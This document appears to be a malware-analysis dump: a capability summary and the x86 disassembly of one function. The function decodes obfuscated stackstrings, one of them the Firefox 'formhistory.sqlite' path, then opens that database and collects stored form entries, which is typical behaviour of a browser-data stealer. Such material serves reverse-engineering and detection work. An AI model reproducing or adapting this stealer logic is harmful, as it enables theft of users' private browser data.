Function at 0x4150d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0x90], ecx
call fcn.00419bf5
mov esi, eax
test esi, esi
je 0x4154f6
xor ebx, ebx
mov dword [esp + 0x14], 0xffd0cf86
mov dword [esp + 0x18], 0xced1ccc5
mov ecx, ebx
mov dword [esp + 0x1c], 0xd7d0cacb
mov dword [esp + 0x20], 0x8ddad1cc
mov dword [esp + 0x24], 0xcacfd2d0
mov word [esp + 0x28], 0xc6d7
mov al, byte [esp + ecx + 0x14]
xor al, 0xa3
movzx eax, al
mov word [esp + ecx*2 + 0x108], ax
inc ecx
cmp ecx, 0x16
jl 0x415125
xor eax, eax
mov word [esp + 0x134], ax
lea eax, [esp + 0x108]
push edi
push eax
call fcn.0041b73b
mov edi, eax
mov dword [esp + 0x88], edi
pop ecx
pop ecx
test edi, edi
je 0x4154f6
mov ecx, edi
call fcn.0041b795
mov ebp, eax
test ebp, ebp
je 0x4154ef
xor edx, edx
mov ecx, ebp
call fcn.0041ba01
mov dword [esp + 0x94], eax
test eax, eax
je 0x4154d8
push ebx
push 1
lea ecx, [esp + 0x8c]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x4154c0
mov dword [esp + 0x14], 0x3c46411e
mov ecx, ebx
mov dword [esp + 0x18], 0x3b3d3ff8
mov dword [esp + 0x1c], 0x39f84743
mov dword [esp + 0x20], 0x3e474c4d
mov dword [esp + 0x24], 0x4b444441
mov dword [esp + 0x28], 0xf83a3cf8
mov dword [esp + 0x2c], 0xe24b44fd
mov al, byte [esp + ecx + 0x14]
add al, 0x28
mov byte [esp + ecx + 0xb8], al
inc ecx
cmp ecx, 0x1c
jl 0x4151e4
mov byte [esp + 0xd4], bl
mov ecx, ebx
mov dword [esp + 0x48], 0xe5ece5f3
mov dword [esp + 0x4c], 0x6c0f4e3
mov dword [esp + 0x50], 0x40c0509
mov dword [esp + 0x54], 0x50d010e
mov dword [esp + 0x58], 0x116c0cc
mov dword [esp + 0x5c], 0xc005150c
mov dword [esp + 0x60], 0xedeff2e6
mov dword [esp + 0x64], 0x1a0f0dc0
mov dword [esp + 0x68], 0x120f06ff
mov dword [esp + 0x6c], 0x1309080d
mov dword [esp + 0x70], 0x19120f14
mov al, byte [esp + ecx + 0x48]
add al, 0x60
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 0x2c
jl 0x415258
lea eax, [esp + 0xb8]
mov byte [esp + 0x104], bl
push edi
push eax
call fcn.004125f4
push ebx
lea eax, [esp + 0x3c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xec]
push eax
push dword [esp + 0x9c]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x4154b8
push dword [esp + 0x30]
lea edi, [esp + 0x78]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x415416
mov dword [esp + 0x34], 0x242c200d
mov word [esp + 0x38], 0xdff9
mov dword [esp + 0x3c], 0xb3c6067
mov dword [esp + 0x40], 0x500f1f06
mov byte [esp + 0x44], 0x4a
mov ecx, ebx
mov al, byte [esp + ecx + 0x34]
add al, 0x41
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 6
jl 0x4152e3
mov byte [esp + 0x8e], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x3c]
xor al, 0x6a
mov byte [esp + ecx + 0x98], al
inc ecx
cmp ecx, 9
jl 0x4152ff
mov byte [esp + 0xa1], bl
mov ecx, ebx
mov dword [esp + 0x14], 0x9b9bacab
mov dword [esp + 0x18], 0x9b9b9b9b
mov dword [esp + 0x1c], 0x9b9b9b9b
mov dword [esp + 0x20], 0x9b9b9b9b
mov word [esp + 0x24], 0xab9b
mov byte [esp + 0x26], 0xac
mov al, byte [esp + ecx + 0x14]
xor al, 0xa6
mov byte [esp + ecx + 0xa4], al
inc ecx
cmp ecx, 0x13
jl 0x415347
lea eax, [esp + 0x88]
mov byte [esp + 0xb7], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x8c]
lea ecx, [esp + 0x78]
call fcn.0041b87e
pop ecx
push ebx
push dword [esp + 0x34]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x38]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.0041b9d9
pop ecx
lea eax, [esp + 0x98]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x9c]
lea ecx, [esp + 0x78]
call fcn.0041b87e
pop ecx
push 1
push dword [esp + 0x34]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x38]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.0041b9d9
pop ecx
lea eax, [esp + 0xa4]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0xa8]
lea ecx, [esp + 0x78]
call fcn.0041b87e
pop ecx
push dword [esp + 0x30]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x4152e1
cmp dword [esp + 0x74], ebx
je 0x4154b1
mov dword [esp + 0x14], 0x262b2cf8
mov ecx, 0xff
mov dword [esp + 0x18], 0x2323201d
mov dword [esp + 0x1c], 0x23dce62a
mov dword [esp + 0x20], 0x23dc162a
mov dword [esp + 0x24], 0x2f2be52a
mov byte [esp + 0x28], 0x2b
movzx eax, byte [esp + ebx + 0x14]
add ax, 0x49
and ax, cx
mov word [esp + ebx*2 + 0x48], ax
inc ebx
cmp ebx, 0x15
jl 0x415452
push dword [esp + 0x13c]
xor eax, eax
push dword [esp + 0x94]
mov word [esp + 0x7a], ax
lea eax, [esp + 0x50]
push eax
call fcn.0041b73b
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4154a7
mov edx, dword [esp + 0x7c]
mov ecx, dword [esp + 0x74]
push edi
call fcn.00418be5
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x74]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x80]
push dword [esp + 0x30]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0x84]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x94]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412ca7
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret